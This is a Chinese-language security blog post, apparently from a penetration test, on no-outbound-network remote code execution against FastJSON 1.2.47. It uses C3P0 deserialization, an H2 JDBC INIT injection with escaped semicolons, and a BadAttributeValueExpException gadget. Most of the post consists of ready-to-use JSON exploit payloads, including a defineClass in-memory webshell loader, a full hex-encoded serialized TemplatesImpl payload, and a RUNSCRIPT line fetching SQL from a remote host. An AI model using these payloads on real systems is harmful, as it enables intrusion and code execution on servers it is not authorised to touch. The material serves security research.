public static Map parseUserOverridesAsString(String userOverridesAsString) throws IOException, ClassNotFoundException { 
if (userOverridesAsString != null) {
String hexAscii = userOverridesAsString.substring("HexAsciiSerializedMap".length() + 1, userOverridesAsString.length() - 1);
byte[] serBytes = ByteUtils.fromHexAscii(hexAscii);
return Collections.unmodifiableMap((Map)SerializableUtils.fromByteArray(serBytes));

在该方法中,对userOverridesAsString属性值Hex解码后进行了Java原生反序列化。
那么在FastJSON反序列化时,如果classpath下存在C3P0以及一些不需要出网的Gadget(例如Commons-Collections、Commons-Beanutils)就可以实现不出网RCE。
由于Java反序列化中C3P0 Gadget是需要出网去加载class的(以前发过<<JAVA反序列化之C3P0不出网利用>>在Tomcat环境下C3P0可以实现不出网利用,目标环境不支持),所以没法在目标环境下利用,只能选择使用beanutils。

最后在利用时一直无法利用成功,发现目标的beanutils是commons-beanutils-core,对比commons-beanutils有差异,core不存在反序列化时最重要的一个类org.apache.commons.beanutils.BeanComparator,导致一直无法利用成功。

在这条链路断掉后,又只能去寻找其他的利用链。观察classpath发现还存在h2的包。在近两年Java安全中很常用的技术 JDBC Attack,它主要的触发方式就是通过getConnection连接恶意服务或者设置恶意参数实现RCE,getConnection方法也符合getter格式,众所周知FastJSON可以调用getter方法,那么可能可以通过FastJSON调用H2的getConnection实现RCE。

1
2
3
4
5
org.h2.jdbcx.JdbcDataSource#getConnection
public Connection getConnection() throws SQLException {
this.debugCodeCall(“getConnection”);
return this.getJdbcConnection(this.userName,StringUtils.cloneCharArray(this.passwordChars)); //调用getJdbcConnection
}

通过反序列控制url属性后connect触发JDBC Attack

1
2
3
4
5
6
7
8
private JdbcConnection getJdbcConnection(String var1, char[] var2) throws SQLException { 
if (this.isDebugEnabled()){
this.debugCode("getJdbcConnection(" + quote(var1) + ", new char[0]);");
}
Properties var3 = new Properties();
var3.setProperty("user", var1);
var3.put("password", var2);
Connection var4 = Driver.load().connect(this.url, var3);

能够触发H2 JDBC Attack后,就需要研究如何不出网RCE了,H2常用的RCE姿势
1、RUNSCRIPT 加载远程SQL文件,(利用需出网)
jdbc:h2:mem:testdb; INIT=RUNSCRIPT FROM ‘http://VPS/poc.sql'
2、Trigger 编译执行Javascript , <>,(仅支持>=1.4.197版本)
jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS ‘//javascript
java.lang.Runtime.getRuntime().exec(“open -a Calculator.app”)’

两种方式都不适合我们的环境,其中RUNSCRIPT的实现方式为 加载远程的SQL文件到本地运行实现RCE,远程的SQL文件内容为创建代码执行方法然后调用执行。
为什么需要RUNSCRIPT? 按照网上的说法是,
1、H2 RCE分为两个步骤,需要先创建代码执行方法,再通过EXEC执行该方法
2、H2 init所使用的session.prepareCommand不支持执行多条SQL语句

那么prepareCommand真的不支持执行多条SQL语句吗?

org.h2.engine.session#prepareCommand -> org.h2.engine.session#prepareLocal -> org.h2.command.Parser#prepareCommand

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public Command prepareCommand(String var1) { 
try {
Prepared var2 = this.parse(var1);
boolean var3 = this.isToken(";");
if (!var3 && this.currentTokenType != 11) {
throw this.getSyntaxError();
} else {
var2.prepare();
Object var4 = new CommandContainer(this, var1, var2);
if (var3) {
String var5 = this.originalSQL.substring(this.parseIndex); //获取未执行的SQL语句
if (var5.trim().length() != 0) {
var4 = new CommandList(this, var1, (Command)var4, var5); } }
return (Command)var4;
}
}
catch (DbException var6) {
throw var6.addSQL(this.originalSQL);
}

}

在H2解析SQL语句的时候,很明显会先解析第一条SQL语句并将剩余的SQL语句保存到remaining属性中,解析结果如图所示

prepareCommand最终执行SQL时调用update方法,

1
2
3
4
public int update() { 
int var1 = this.command.executeUpdate(false).getUpdateCount(); this.executeRemaining();
return var1;
}

接着会调用executeRemaining方法,执行剩余的SQL语句,看这个逻辑肯定是支持执行多条语句的

1
2
3
4
5
6
7
8
private void executeRemaining() { 
Command var1 = this.session.prepareLocal(this.remaining);
if (var1.isQuery()) {
var1.query(0);
} else {
var1.update();
}
}

至于网上为什么说为什么不支持执行多条SQL语句,我猜会不会是忘记转义了分号?

1
jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE ALIAS if not exists EXEC AS 'void exec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);}';CALL EXEC ('open -a calculator.app');

1
jdbc:h2:mem:test;MODE=MSSQLServer;INIT=CREATE ALIAS if not exists EXEC AS 'void exec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\;}'\;CALL EXEC ('open -a calculator.app')\;

最后FastJSON 1.2.47利用,

1
[{"@type":"java.lang.Class","val":"org.h2.jdbcx.JdbcDataSource"},{"@type":"org.h2.jdbcx.JdbcDataSource", "url":"jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS 'void exec() throws java.io.IOException { Runtime.getRuntime().exec(\"open -a calculator.app\")\\; }'\\;CALL EXEC ()\\;"},{"$ref":"$[1].connection"}]

通过defineClass执行代码中马,因为不涉及到上面的$ref引用值,利用JSONObject的toString调用getter也行

1
{"a":{"@type":"java.lang.Class","val":"org.h2.jdbcx.JdbcDataSource"},{"@type":"com.alibaba.fastjson.JSONObject","c":{"@type":"org.h2.jdbcx.JdbcDataSource", "url":"jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS 'void exec() throws java.io.IOException { try { byte[] b = java.util.Base64.getDecoder().decode(\"byteCodes\")\\; java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class)\\; method.setAccessible(true)\\; Class c = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length)\\; c.newInstance()\\; } catch (Exception e){ }}'\\;CALL EXEC ()\\;"}}:{}}
1
[{"@type":"java.lang.Class","val":"org.h2.jdbcx.JdbcDataSource"},{"@type":"org.h2.jdbcx.JdbcDataSource", "url":"jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS 'void exec() throws java.io.IOException { try { byte[] b = java.util.Base64.getDecoder().decode(\"byteCodes\")\\; java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class)\\; method.setAccessible(true)\\; Class c = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length)\\; c.newInstance()\\; } catch (Exception e){ }}'\\;CALL EXEC ()\\;"},{"$ref":"$[1].connection"}]

后期在项目复盘时才想到,因为是低版本的FastJSON,直接使用C3P0反序列化来打FastJSON就行了。

com.alibaba.fastjson.JSON#toString

1
2
3
public String toString() {
return this.toJSONString();
}

在toJSONString,会进行JSON序列化进而调用到getter方法

1
2
3
4
5
6
7
8
9
10
11
12
13
public String toJSONString() {
SerializeWriter out = new SerializeWriter();

String var2;
try {
(new JSONSerializer(out)).write(this);
var2 = out.toString();
} finally {
out.close();
}

return var2;
}

通过BadAttributeValueExpException就能调用到com.alibaba.fastjson.JSON#toString方法,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import java.lang.reflect.Field;
import java.util.ArrayList;
import alibaba.payloads.util.Reflections;
import com.alibaba.fastjson.JSONArray;
import alibaba.payloads.util.Gadgets;
import alibaba.payloads.util.PayloadRunner;

import javax.management.BadAttributeValueExpException;

@SuppressWarnings({ "rawtypes", "unchecked" })
public class FastJSON extends PayloadRunner implements ObjectPayload<Object> {

public Object getObject(final String command) throws Exception {

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
ArrayList arrayList = new ArrayList();
arrayList.add(Gadgets.createTemplatesImpl(command));
JSONArray jsonArray = new JSONArray(arrayList);
valfield.set(val, jsonArray);

return val;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(FastJSON.class, args);
}
}

最后利用

1
{"a":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"b":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:ACED00057372002E6A617661782E6D616E6167656D656E742E42616441747472696275746556616C7565457870457863657074696F6ED4E7DAAB632D46400200014C000376616C7400124C6A6176612F6C616E672F4F626A6563743B787200136A6176612E6C616E672E457863657074696F6ED0FD1F3E1A3B1CC4020000787200136A6176612E6C616E672E5468726F7761626C65D5C635273977B8CB0300044C000563617573657400154C6A6176612F6C616E672F5468726F7761626C653B4C000D64657461696C4D6573736167657400124C6A6176612F6C616E672F537472696E673B5B000A737461636B547261636574001E5B4C6A6176612F6C616E672F537461636B5472616365456C656D656E743B4C001473757070726573736564457863657074696F6E737400104C6A6176612F7574696C2F4C6973743B787071007E0008707572001E5B4C6A6176612E6C616E672E537461636B5472616365456C656D656E743B02462A3C3CFD22390200007870000000027372001B6A6176612E6C616E672E537461636B5472616365456C656D656E746109C59A2636DD8502000449000A6C696E654E756D6265724C000E6465636C6172696E67436C61737371007E00054C000866696C654E616D6571007E00054C000A6D6574686F644E616D6571007E0005787000000011740019616C69626162612E7061796C6F6164732E466173744A534F4E74000D466173744A534F4E2E6A6176617400096765744F626A6563747371007E000B00000022740017616C69626162612E47656E65726174655061796C6F616474001447656E65726174655061796C6F61642E6A6176617400046D61696E737200266A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C654C697374FC0F2531B5EC8E100200014C00046C69737471007E00077872002C6A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C65436F6C6C656374696F6E19420080CB5EF71E0200014C0001637400164C6A6176612F7574696C2F436F6C6C656374696F6E3B7870737200136A6176612E7574696C2E41727261794C6973747881D21D99C7619D03000149000473697A657870000000007704000000007871007E0019787372001E636F6D2E616C69626162612E666173746A736F6E2E4A534F4E417272617900000000000000010200024C00046C69737471007E00074C000C72656C61746564417272617971007E000178707371007E0018000000017704000000017372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D6571007E00054C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B78700000000000000000757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E0020000787000000313CAFEBABE0000003100270A0003000F0700220700120100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100334C616C69626162612F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B01000A536F7572636546696C6501000C476164676574732E6A6176610C00040005070013010031616C69626162612F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61640100106A6176612F6C616E672F4F626A65637401001D616C69626162612F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507001501000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C001700180A001600190100166F70656E202D612063616C63756C61746F722E61707008001B01000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C001D001E0A0016001F01000D537461636B4D61705461626C6501001A616C69626162612F636F6D32353638363432373636303332303901001C4C616C69626162612F636F6D3235363836343237363630333230393B010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740700240A0025000F002100020025000000000002000100040005000100060000002F00010001000000052AB70026B10000000200070000000600010000003700080000000C0001000000050009002300000008001400050001000600000024000300020000000FA70003014CB8001A121CB6002057B1000000010021000000030001030002000D00000002000E000B0000000A000100020010000A00097571007E0024000001CECAFEBABE00000034001B0A0003001507001707001807001901001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C75650571E669EE3C6D47180100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010003466F6F01000C496E6E6572436C61737365730100234C616C69626162612F7061796C6F6164732F7574696C2F4761646765747324466F6F3B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07001A010021616C69626162612F7061796C6F6164732F7574696C2F4761646765747324466F6F0100106A6176612F6C616E672F4F626A6563740100146A6176612F696F2F53657269616C697A61626C6501001D616C69626162612F7061796C6F6164732F7574696C2F47616467657473002100020003000100040001001A000500060001000700000002000800010001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000003A000E0000000C000100000005000F001200000002001300000002001400110000000A000100020016001000097074000450776E7270770100787870;"}}

参考

1.https://blog.csdn.net/solitudi/article/details/120275526
2.https://www.ctfiot.com/17904.html
3.https://conference.hitb.org/files/hitbsecconf2021sin/materials/D1T2%20-%20Make%20JDBC%20Attacks%20Brilliant%20Again%20-%20Xu%20Yuanzhen%20&%20Chen%20Hongkun.pdf